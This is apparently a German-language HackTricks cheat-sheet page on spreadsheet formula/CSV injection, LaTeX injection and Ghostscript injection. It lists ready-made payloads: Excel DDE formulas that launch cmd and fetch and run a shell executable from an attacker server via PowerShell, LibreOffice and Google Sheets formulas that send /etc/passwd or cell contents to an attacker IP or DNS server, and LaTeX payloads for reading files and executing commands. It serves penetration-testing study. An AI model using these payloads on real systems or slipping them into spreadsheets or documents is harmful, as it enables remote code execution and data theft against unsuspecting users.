12 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Formula Injection
Info
Wenn deine Eingabe in CSV-Dateien (oder in irgendeiner anderen Datei, die wahrscheinlich von Excel geöffnet wird) reflektiert wird, kannst du möglicherweise Excel Formeln einfügen, die ausgeführt werden, wenn der Benutzer die Datei öffnet oder wenn der Benutzer auf einen Link innerhalb des Excel-Blatts klickt.
{% hint style="danger" %} Heutzutage warnt Excel (mehrmals) den Benutzer, wenn etwas von außerhalb von Excel geladen wird, um ihn vor böswilligen Aktionen zu schützen. Daher muss ein besonderer Aufwand für Social Engineering auf die endgültige Payload angewendet werden. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Das folgende Beispiel ist sehr nützlich, um Inhalte aus dem endgültigen Excel-Dokument zu exfiltrieren und um Anfragen an beliebige Orte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnmeldungen akzeptiert).
Das folgende Beispiel wurde von https://payatu.com/csv-injection-basic-to-exploit entnommen.
Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine bösartige Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff verläuft wie folgt:
- Injektion der bösartigen Nutzlast:
- Der Angreifer reicht ein Formular für Schülerdetails ein, enthält jedoch eine Formel, die häufig in Tabellenkalkulationen verwendet wird (z. B.
=HYPERLINK("<malicious_link>","Klicken Sie hier")
). - Diese Formel soll einen Hyperlink erstellen, verweist jedoch auf einen bösartigen Server, der vom Angreifer kontrolliert wird.
- Exportieren der kompromittierten Daten:
- Lehrer, die sich der Kompromittierung nicht bewusst sind, nutzen die Funktionalität der Anwendung, um die Daten in eine CSV-Datei zu exportieren.
- Die CSV-Datei enthält beim Öffnen weiterhin die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle.
- Auslösen des Angriffs:
- Ein Lehrer klickt auf den Hyperlink und glaubt, dass er ein legitimer Teil der Schülerdetails ist.
- Beim Klicken werden sensible Daten (möglicherweise einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen.
- Protokollierung der Daten:
- Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden.
- Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden und die Privatsphäre und Sicherheit der Schüler und der Institution weiter gefährden.
RCE
Überprüfen Sie den originalen Beitrag für weitere Details.
In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamic Data Exchange (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert werden:
- Navigieren Sie zu Datei → Optionen → Trust Center → Trust Center-Einstellungen → Externer Inhalt und aktivieren Sie Dynamic Data Exchange Server Launch.
Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast:
=cmd|' /C calc'!xxx
Zusätzliche Befehle können ebenfalls ausgeführt werden, wie das Herunterladen und Ausführen einer Datei mit PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu exfiltrieren. Hier sind einige Methoden:
- Lesen der ersten Zeile aus der lokalen
/etc/passwd
-Datei:='file:///etc/passwd'#$passwd.A1
- Exfiltrieren der gelesenen Daten zu einem vom Angreifer kontrollierten Server:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrieren von mehr als einer Zeile:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS-Exfiltration (Versenden gelesener Daten als DNS-Abfragen an einen vom Angreifer kontrollierten DNS-Server):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets für Out-of-Band (OOB) Datenexfiltration
Google Sheets bietet Funktionen, die für OOB-Datenexfiltration ausgenutzt werden können:
- CONCATENATE: Verbindet Zeichenfolgen -
=CONCATENATE(A2:E2)
- IMPORTXML: Importiert Daten aus strukturierten Datentypen -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Importiert RSS- oder ATOM-Feeds -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Importiert Daten aus HTML-Tabellen oder -Listen -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Importiert einen Zellbereich aus einer anderen Tabelle -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Fügt ein Bild in eine Zelle ein -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX-Injection
Normalerweise verwenden die Server, die im Internet LaTeX-Code in PDF umwandeln, pdflatex
.
Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen (nicht) zuzulassen:
--no-shell-escape
: Deaktiviert die\write18{command}
-Konstruktion, selbst wenn sie in der texmf.cnf-Datei aktiviert ist.--shell-restricted
: Dasselbe wie--shell-escape
, aber beschränkt auf eine 'sichere' Menge von vordefinierten **Befehlen (**Unter Ubuntu 16.04 befindet sich die Liste in/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Aktiviert die\write18{command}
-Konstruktion. Der Befehl kann jeder Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen nicht erlaubt.
Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, --shell-restricted
zu verwenden, um RCE zu vermeiden.
Datei lesen
Möglicherweise müssen Sie die Injection mit Wrappers wie [ oder $ anpassen.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Eine einzeilige Datei lesen
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Mehrzeilige Datei lesen
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Datei schreiben
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Befehlsausführung
Die Eingabe des Befehls wird an stdin umgeleitet, verwenden Sie eine temporäre Datei, um sie zu erhalten.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Wenn Sie einen LaTex-Fehler erhalten, ziehen Sie in Betracht, base64 zu verwenden, um das Ergebnis ohne fehlerhafte Zeichen zu erhalten.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Von @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Überprüfen https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referenzen
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.